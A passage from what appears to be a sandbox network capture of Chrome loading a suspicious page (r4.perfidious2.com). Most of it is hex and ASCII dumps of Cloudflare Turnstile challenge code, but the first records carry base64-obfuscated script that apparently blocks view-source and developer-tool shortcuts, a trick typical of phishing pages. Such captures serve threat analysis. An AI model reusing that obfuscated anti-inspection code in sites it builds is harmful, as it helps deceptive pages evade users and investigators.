ogNjJweDsvKndpZHRoOiAxMDAlOyovcGFkZGluZy1yaWdodDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7cGFkZGluZy1sZWZ0OiB2YXIoLS1icy1ndXR0ZXIteCwgLjc1cmVtKTttYXJnaW4tcmlnaHQ6IGF1dG87bWFyZ2luLWxlZnQ6IGF1dG87fQ0KI3VvWVJwYXFZY0UgLnRleHQtY2VudGVyIHt0ZXh0LWFsaWduOiBjZW50ZXIha
2024-12-03 08:05:56 UTC	1369	IN	Data Raw: 67 49 43 42 39 44 51 6f 4e 43 69 41 67 49 43 42 70 5a 69 41 6f 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 68 6c 64 6d 56 75 64 43 35 6a 64 48 4a 73 53 32 56 35 49 43 59 6d 49 47 56 32 5a 57 35 30 4c 6d 74 6c 65 55 4e 76 5a 47 55 67 50 54 30 39 49 44 67 31 4b 53 42 38 66 41 30 4b 49 43 41 67 49 43 41 67 49 43 41 6f 5a 58 5a 6c 62 6e 51 75 59 33 52 79 62 45 74 6c 65 53 41 6d 4a 69 42 6c 64 6d 56 75 64 43 35 7a 61 47 6c 6d 64 45 74 6c 65 53 41 6d 4a 69 42 6c 64 6d 56 75 64 43 35 72 5a 58 6c 44 62 32 52 6c 49 44 30 39 50 53 41 33 4d 79 6b 67 66 48 77 4e 43 69 41 67 49 43 41 67 49 43 41 67 4b 47 56 32 5a 57 35 30 4c 6d 4e 30 63 6d 78 4c 5a 58 6b 67 4a 69 59 67 5a 58 5a 6c 62 6e 51 75 63 32 68 70 5a 6e 52 4c 5a 58 6b 67 4a 69 59 67 5a 58 5a 6c 62 6e 51 75 61 32 Data Ascii: gICB9DQoNCiAgICBpZiAoDQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDg1KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3MykgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	49738	104.18.94.41	443	2724	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 08:05:58 UTC	383	OUT	GET /turnstile/v0/b/a6e12e96a2d5/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 08:05:58 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 08:05:58 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47695 Connection: close accept-ranges: bytes last-modified: Thu, 21 Nov 2024 17:58:42 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8ec20e00c9f00c76-EWR alt-svc: h3=":443"; ma=86400
2024-12-03 08:05:58 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2024-12-03 08:05:58 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 53 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2024-12-03 08:05:58 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 6a 74 28 65 29 7c 7c 71 74 28 65 2c 72 29 7c 7c 47 74 28 65 2c 72 29 7c 7c 7a 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return jt(e)\|\|qt(e,r)\|\|Gt(e,r)\|\|zt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2024-12-03 08:05:58 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 59 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Yt=300020;var De=300030;var Ve=300031;var j;(fu
2024-12-03 08:05:58 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
2024-12-03 08:05:58 UTC	1369	IN	Data Raw: 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 6c 77 61 79 73 22 2c 22 65 78 65 63 75 74 65 22 2c 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 51 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 74 72 75 65 22 2c 22 66 61 6c 73 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 72 65 6e 64 65 72 22 2c 22 65 78 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 24 74 3d 33 30 30 2c 4a 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 68 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 Data Ascii: e==="auto"\|\|Nr.test(e)}function gt(e){return M(["always","execute","interaction-only"],e)}function Qt(e){return M(["true","false"],e)}function yt(e){return M(["render","execute"],e)}var $t=300,Jt=10;function ht(e){var r=new URLSearchParams;if(e.params._de
2024-12-03 08:05:58 UTC	1369	IN	Data Raw: 61 76 30 2f 72 63 76 22 29 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 72 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 45 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 73 69 7a 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 6c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 70 29 7d 76 61 72 20 52 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 2c 6e 2c 6f 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 Data Ascii: av0/rcv").concat(o,"/").concat(e,"/").concat(r,"/").concat(n.theme,"/").concat(E,"/").concat(n.size,"/").concat(n.language,"/").concat(p)}var Rt=function(e){var r,n,o=window.innerWidth<400,c=e.state===Se.FAILURE_FEEDBACK\|\|e.state===Se.FAILURE_HAVING_TROUB
2024-12-03 08:05:58 UTC	1369	IN	Data Raw: 63 74 7c 7c 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 2e 73 68 61 6d 29 72 65 74 75 72 6e 21 31 3b 69 66 28 74 79 70 65 6f 66 20 50 72 6f 78 79 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 30 3b 74 72 79 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 4f 66 2e 63 61 6c 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 49 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 Data Ascii: ct\|\|Reflect.construct.sham)return!1;if(typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function Ie(e,r,n){return je()?Ie=Reflect.construct:Ie=function(c,u,g){var
2024-12-03 08:05:58 UTC	1369	IN	Data Raw: 73 2c 6e 29 3b 76 61 72 20 75 3b 72 65 74 75 72 6e 20 75 3d 72 2e 63 61 6c 6c 28 74 68 69 73 2c 6f 29 2c 4d 65 28 42 65 28 75 29 2c 22 63 6f 64 65 22 2c 76 6f 69 64 20 30 29 2c 75 2e 6e 61 6d 65 3d 22 54 75 72 6e 73 74 69 6c 65 45 72 72 6f 72 22 2c 75 2e 63 6f 64 65 3d 63 2c 75 7d 72 65 74 75 72 6e 20 6e 7d 28 71 65 28 45 72 72 6f 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 72 29 7b 76 61 72 20 6e 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 64 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 Data Ascii: s,n);var u;return u=r.call(this,o),Me(Be(u),"code",void 0),u.name="TurnstileError",u.code=c,u}return n}(qe(Error));function m(e,r){var n="[Cloudflare Turnstile] ".concat(e,".");throw new dr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(
2024-12-03 08:05:58 UTC	1369	IN	Data Raw: 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 6c 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 66 69 78 65 64 22 2c 6c 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 36 22 2c 6c 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 6c 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 2c 6c 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 22 2c 6c 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 22 2c 6c 2e 73 74 79 6c 65 2e 74 72 61 6e 73 66 6f 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 Data Ascii: cument.createElement("div");l.style.position="fixed",l.style.zIndex="2147483646",l.style.width="100vw",l.style.height="100vh",l.style.top="0",l.style.left="0",l.style.transformOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.st

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.16	49739	104.18.95.41	443	2724	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 08:05:58 UTC	801	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zhsb1/0x4AAAAAAAzn-jiwwut9VyvG/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://r4.perfidious2.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 08:05:58 UTC	1362	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 08:05:58 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26460 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2024-12-03 08:05:58 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 65 63 32 30 65 30 31 30 38 35 39 34 32 32 39 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8ec20e0108594229-EWRalt-svc: h3=":443"; ma=86400
2024-12-03 08:05:58 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2024-12-03 08:05:58 UTC	1369	IN	Data Raw: 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 Data Ascii: dding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiase
2024-12-03 08:05:58 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 Data Ascii: stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#
2024-12-03 08:05:58 UTC	1369	IN	Data Raw: 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 Data Ascii: e-dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dar
2024-12-03 08:05:58 UTC	1369	IN	Data Raw: 32 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 Data Ascii: 20}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-h
